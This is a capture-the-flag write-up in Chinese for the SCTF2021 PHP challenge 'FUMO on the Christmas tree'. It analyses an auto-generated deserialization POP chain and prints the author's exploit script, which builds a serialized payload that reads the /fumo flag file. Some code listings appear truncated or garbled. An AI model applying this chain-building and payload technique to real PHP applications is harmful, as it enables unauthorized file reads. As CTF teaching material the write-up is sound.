# FUMO on the Christmas tree  
~~致敬，都\\*\\*的是致敬~~  
本题致敬了强网杯的`POP master`一题，并加强了难度。

# How to Start and Stop  
## start  
```shell  
docker-compose up -d  
```

## stop  
```shell  
docker-compose down --rmi all  
```

# Writeup

很明显，应对16w行的代码，最高效的方法必然是自动化审计。

## 代码特征分析  
我们下载下来代码先进行简单审计。发现整个代码有以下特征：  
### 起点  
整个代码中唯一的起点是`__destruct`，里面有`_GET`变量作为输入继续传递下去。

![image-20220101153936548](https://gitee.com/AFKL/image/raw/master/img/image-20220101153936548.png)

### 终点  
整个代码中有多个类似的代码片段：`if(stripos([_GET], "/fumo") === 0)
readfile(strtolower([_GET]));`。代码的目的是读取根目录的`/fumo`并输出至浏览器。那么猜测这里就是整个代码的终点。

另外一个比较难注意到的点。一部分节点会指向根节点，导致在一些情况下代码运行进入死循环。

### 中间  
每个类有且只有一个公共方法。每个方法都会有将`_GET`变量的数据传递到下一个方法的代码片段（终点方法除外）。

#### 魔术方法  
这些公共方法中有有些是魔法方法，共有以下几种：  
\- `__invoke`  
\- `__call`  
\- `__destruct`（起点方法）  
忽略唯一的起点方法，每个魔术方法内的代码都有固定的格式：

`__invoke`方法为：  
```php  
public function __invoke($value) {  
$key = base64_decode('VERHNGdO');  
@$this->gs8sn9lQ->TVPLXO($value[$key]);  
}  
```

`__call`方法的代码比较复杂，以下列出并分析：  
```php  
public function __call($name, $value) {  
// 将`$name`对应的变量的值，改为代码定死的值。这里将定死的值称为`a`  
extract([$name => 'XG4X73PzX']);  
/**  
* 这里`$NwfyBTG6`的值从未指定，那么推测上面的`extract`函数便是对其赋值。  
* 另外`NwfyBTG6`是由`$name`变量指定的  
* 那么`NwfyBTG6`应当是上一个调用方法的名字  
*/  
if (is_callable([$this->LCtWriB, $NwfyBTG6]))  
// 这里的`a`值被当作方法名被调用。那么`a`值所代表的就是下一个方法名  
call_user_func([$this->LCtWriB, $NwfyBTG6], ...$value);  
}  
```  
那么整个代码便可以化简为：  
```php  
public function __call($name, $value) {  
if (is_callable([$this->LCtWriB, 'XG4X73PzX']))
@$this->LCtWriB->XG4X73PzX(...$value);  
}  
```

#### 普通方法  
普通方法中进入下一层的代码片段有以下两种：  
1\. `@call_user_func($this->[a], ['[key]' => [_GET]]);`  
2\. `if (is_callable([$this->[a], '[b]'])) @$this->[a]->[b]($value);`

对于第一种，向下传递的`_GET`的值会变成一个键值对。会处理键值对的代码只有`__invoke`方法中有。  
```php  
public function __invoke($value) {  
$key = base64_decode('VERHNGdO'); // 获取键值  
// 将键值对的值取出传递到下一个方法  
@$this->gs8sn9lQ->TVPLXO($value[$key]);  
}  
```  
同时`call_user_func`中的第一个参数也是一个属性，但这个属性的类型规定了是`object`，那么也可以推出，这里应当是调用`__invoke`方法。

对于第二种，代码会判断`[$this->[a], '[b]']`这个方法是否可调用。需要注意的是，`__call`方法可以使这个判断永久为`true`。

![image-20220101163613446](https://gitee.com/AFKL/image/raw/master/img/image-20220101163613446.png)

普通方法的代码也有固定格式，如下：  
```php  
public function f78sawV9g3($S34lPGS) {  
@$S34lPGS = $S34lPGS;  
if (is_callable([$this->YqV0xuthgr, 'NwfyBTG6']))
@$this->YqV0xuthgr->NwfyBTG6($S34lPGS);  
if (is_callable([$this->KEGAvw8KeX, 'si4Byp']))
@$this->KEGAvw8KeX->si4Byp($S34lPGS);  
}  
```  
这里可以将代码的流向视为为二叉树，他们所指向的下一个节点是唯一的。

### 变量消毒  
在普通方法中有以下几种会对变量消毒的方法。

#### 有效消毒  
|消毒方法|对应代码|  
|:-:|:-|  
|md5|`@$input_value = md5($input_value);`|  
|crypt|`@$input_value = crypt($input_value, 'rand_value');`|  
|sha1|`@$input_value = sha1($input_value);`|  
|无效值传递|`@$input_value = $rand_value;`|

#### 无效消毒  
|消毒方法|对应代码|  
|:-:|:-|  
|str_rot13|`@$input_value = str_rot13($input_value);`|  
|base64_decode|`@$input_value = base64_decode($input_value);`|  
|strrev|`@$input_value = strrev($input_value);`|  
|原值传递|`@$input_value = $input_value;`|

#### 特殊消毒  
|消毒方法|对应代码|特殊原因|  
|:-:|:-|:-|  
|ucfirst|`@$input_value =
ucfirst($input_value);`|在`base64_decode`前调用的话，如果`decode`的字符串第一个字母是小写，那么必定会解密失败|  
|base64_encode|`@$input_value =
base64_encode($input_value);`|在之后调用base64_decode的话就算无效消毒，没有调用便是有效消毒|

## 污点追踪

### 出题人自己的解法  
可以看到，每个传递`_GET`值的代码片段的流向是唯一的。那么我们便可以通过此来构建一个表，来存储代码流向的键值对，在构建流向的时候只需要查表即可。

同时为了简化污点追踪的流程，我将关键点位的函数进行`hook`，并利用流向表对类属性进行替换赋值。在完成这些操作后我只需要将替换后的代码跑一次即可。

以下是我的`exp.php`代码分析，源码请见`exp`文件夹。  
```php  
([A-Za-z0-9]+)->([A-Za-z0-9]+)\\(.*?\\);';  
$match_invoke = 'call_user_func\\(\$this->([A-Za-z0-9]+),
\\[\'([A-Za-z0-9/=]+)\' => \$[A-Za-z0-9]+\\]\\)';  
$match_call_next_method_name = 'extract\\(\\[\$name =>
\'([A-Za-z0-9]+)\'\\]\\);';  
$match_call_last_method_name = 'call_user_func\\(\\[\$this->([A-Za-z0-9]+),
\$([A-Za-z0-9]+)\\], \\.\\.\\.\$value\\)';

$filename = "./test.php";  
$data_list = file($filename);  
$data = file_get_contents($filename);

// 获取原生类的数量  
$raw_class_len = count(get_declared_classes());  
include_once("test.php");  
// 获取导入class后的类数量  
$class_list = get_declared_classes();  
$class_list = array_splice($class_list, $raw_class_len);  
$start_class = "";

// 构建流向表  
$method_list = [];  
foreach ($class_list as $key => $class) {  
if (method_exists($class, "__call")) {  
$call_start_line = (new
ReflectionClass($class))->getMethods()[0]->getStartLine();  
$call_code = $data_list[$call_start_line + 2];  
preg_match("~$match_call_last_method_name~", $call_code, $match);  
$method_list['__call'][$match[2]] = $class;  
} else if (method_exists($class, "__invoke")) {  
$call_start_line = (new
ReflectionClass($class))->getMethods()[0]->getStartLine();  
$call_code = $data_list[$call_start_line];  
preg_match("/base64_decode\\('([A-Za-z0-9\/=]+)'\\)/im", $call_code, $match);  
$method_list['__invoke'][$match[1]] = $class; // 可以通过获取传入__invoke值的键值构建  
} else {  
$re_class = new ReflectionClass($class);  
$method_name = $re_class->getMethods()[0]->name;  
$method_list['normal'][$method_name] = $class;  
if (method_exists($class, "__destruct")) {  
$start_class = $class;  
}  
}  
}

preg_match_all(  
"~$match_normal~",  
$data, $matches_normal  
);

preg_match_all(  
"~$match_invoke~",  
$data, $matches_invoke  
);

preg_match_all(  
"~$match_call_next_method_name~",  
$data, $matches_next_call  
);

preg_match_all(  
"~$match_call_last_method_name~",  
$data, $matches_last_call  
);

/**  
* 将对应的field进行赋值  
* e.g.  
* $this->aaa->aaa() => ($this->aaa = new aaa)->aaa()  
*/  
function set_field($field_name, $class_name, $data) {  
$class_name = str_replace("christmasTree\\\", "", $class_name);  
return str_replace("\$this->$field_name", "(\$this->$field_name = new
$class_name)", $data);  
}

if($matches_normal || $matches_invoke || $matches_call){  
// 对普通方法进行处理  
foreach ($matches_normal[1] as $id => $field_name) {  
if (!empty($field_name)) {  
// 当下一个也是普通方法时  
$class_name = $method_list['normal'][$matches_normal[2][$id]];

if ($class_name !== null) {  
$data = set_field($field_name, $class_name, $data);  
continue;  
}

// 如果没有在普通方法表中没有找到，证明下一个是__call方法  
$class_name = $method_list['__call'][$matches_normal[2][$id]];

if ($class_name !== null) {  
$data = set_field($field_name, $class_name, $data);  
continue;  
}  
} else {  
continue;  
}  
}

// 对__invoke进行替换  
foreach ($matches_invoke[1] as $id => $field_name) {  
if (!empty($field_name)) {  
// 对key值解base64编码  
$invoke_key = base64_encode($matches_invoke[2][$id]);  
$class_name = $method_list['__invoke'][$invoke_key];  
if ($class_name !== null) {  
$invoke = new ReflectionMethod($class_name, '__invoke');  
$line_id = $invoke->getStartLine();  
if (strpos($data_list[$line_id], $invoke_key) !== false) {  
$data = set_field($field_name, $class_name, $data);  
continue;  
}  
}  
} else {  
continue;  
}  
}

// 对__call方法进行处理  
foreach ($matches_last_call[1] as $id => $field_name) {  
if (!empty($field_name)) {  
$class_name = $method_list['normal'][$matches_next_call[1][$id]];  
if ($class_name !== null) {  
$data = set_field($field_name, $class_name, $data);  
continue;  
}  
} else {  
continue;  
}  
}  
}

// 将普通函数替换为我们的hook函数，hook函数会将当前对象传入。  
$data = str_replace(  
["str_rot13(", "ucfirst(", "strrev(", "readfile(", "base64_decode($"],  
["fake_str_rot13(\$this,", "fake_ucfirst(\$this,", "fake_strrev(\$this,",
"fake_readfile(\$this,", "fake_base64_decode(\$this,$"],  
$data  
);

preg_match($match_start, $data, $start);  
$get_expr = $start[0];  
$get_value = $start[1];

// 一些为了方便写的替换  
$data = str_replace($get_expr, "input", $data);  
$data = preg_replace("/function __destruct\\(.*\\)/i", "function
start(\$input)", $data);

/**  
* 对已经执行过的进行标解，作用是防止返回根节点的代码。  
* 原理是新增一个静态变量，初始值是false，  
* 当第一次使用时判断是否为false，如果是便  
* 继续执行代码，并修改为true。当遇到返回  
* 根节点这样的环时，因为已经执行过一次，所  
* 以会直接return中断代码。  
*/  
$data = str_replace(" \n public object", " public static \$is_used = false;\n
public object", $data);  
$data = str_replace(") {\n", ") {\n\t\tif (!self::\$is_used) self::\$is_used =
true; else return;\n", $data);

// 将替换完毕的代码写入另一个文件。  
file_put_contents("./test-copy.php", $data);

$code = <<` \$_) {  
\$start->\$field = \$last_class;  
}  
\$last_class = \$start;  
}  
}  
}  
}`

include "./test-copy.php";  
(new $start_class)->start(\$input);

\$real_value = \$input;  
foreach (\$real_list as \$function) {  
if (\$function !== NULL) {  
\$real_value = \$function(\$real_value);  
}  
}

var_dump(serialize(\$start));  
var_dump(urlencode(serialize(\$start)));  
var_dump("$get_value=".\$real_value);  
CODE;

// 写入poc.php  
file_put_contents("poc.php", $code);  
```

```php  
/* hook函数 */  
$_) {  
$start->$field = $last_class;  
}  
$last_class = $start;  
}  
}  
}  
}

// 开始执行代码  
include "./test-copy.php";  
(new christmasTree\WG7N5R3Mgx)->start($input);

// 对输入的值进行编码  
$real_value = $input;  
foreach ($real_list as $function) {  
if ($function !== NULL) {  
$real_value = $function($real_value);  
}  
}

var_dump(serialize($start));  
var_dump(urlencode(serialize($start)));  
var_dump("W62OWE=".$real_value);  
```

### 其它解法  
我提取了前20名部分wp的代码，并放入`exp`文件夹中，欢迎大家学习。  
因为是从pdf扒下来的，可能会有缩进问题，这里pdf也截图也一并放上。  
如果你有更好的思路，欢迎提交PR与大家分享！

## 非预期

由于没有动态靶机，本题没有办法强制刷新代码。导致有的队友可以对同一代码进行长时间审计。某队伍通过眼看，硬审了16w行代码...

![焯](https://syimg.3dmgame.com/uploadimg/upload/image/20211210/20211210140951_97362.gif)

反正我心态是崩了...

# 代码生成器

详细代码可见`./server/code`。为了方便代码的生成，我将`php`部分抽象为类，利用`__str__`方法对代码进行生成。

在这里称变量没有被有效消毒的链为活链，变量被有效消毒的链为死链。

代码的生成逻辑如下：  
1\. 生成一条长度为20的活链，这里称为根链。  
2\. 在这条链的基础上，通过迭代产生更短的死链。  
3\. 在迭代的过程中，将死链拼接在链上，形成一条二叉树。  
4\. 随机将部分终点的`readfile`替换为指向根节点的代码片段。

Original writeup
(https://github.com/SycloverTeam/SCTF2021/tree/master/web/FUMO_on_the_Christmas_tree).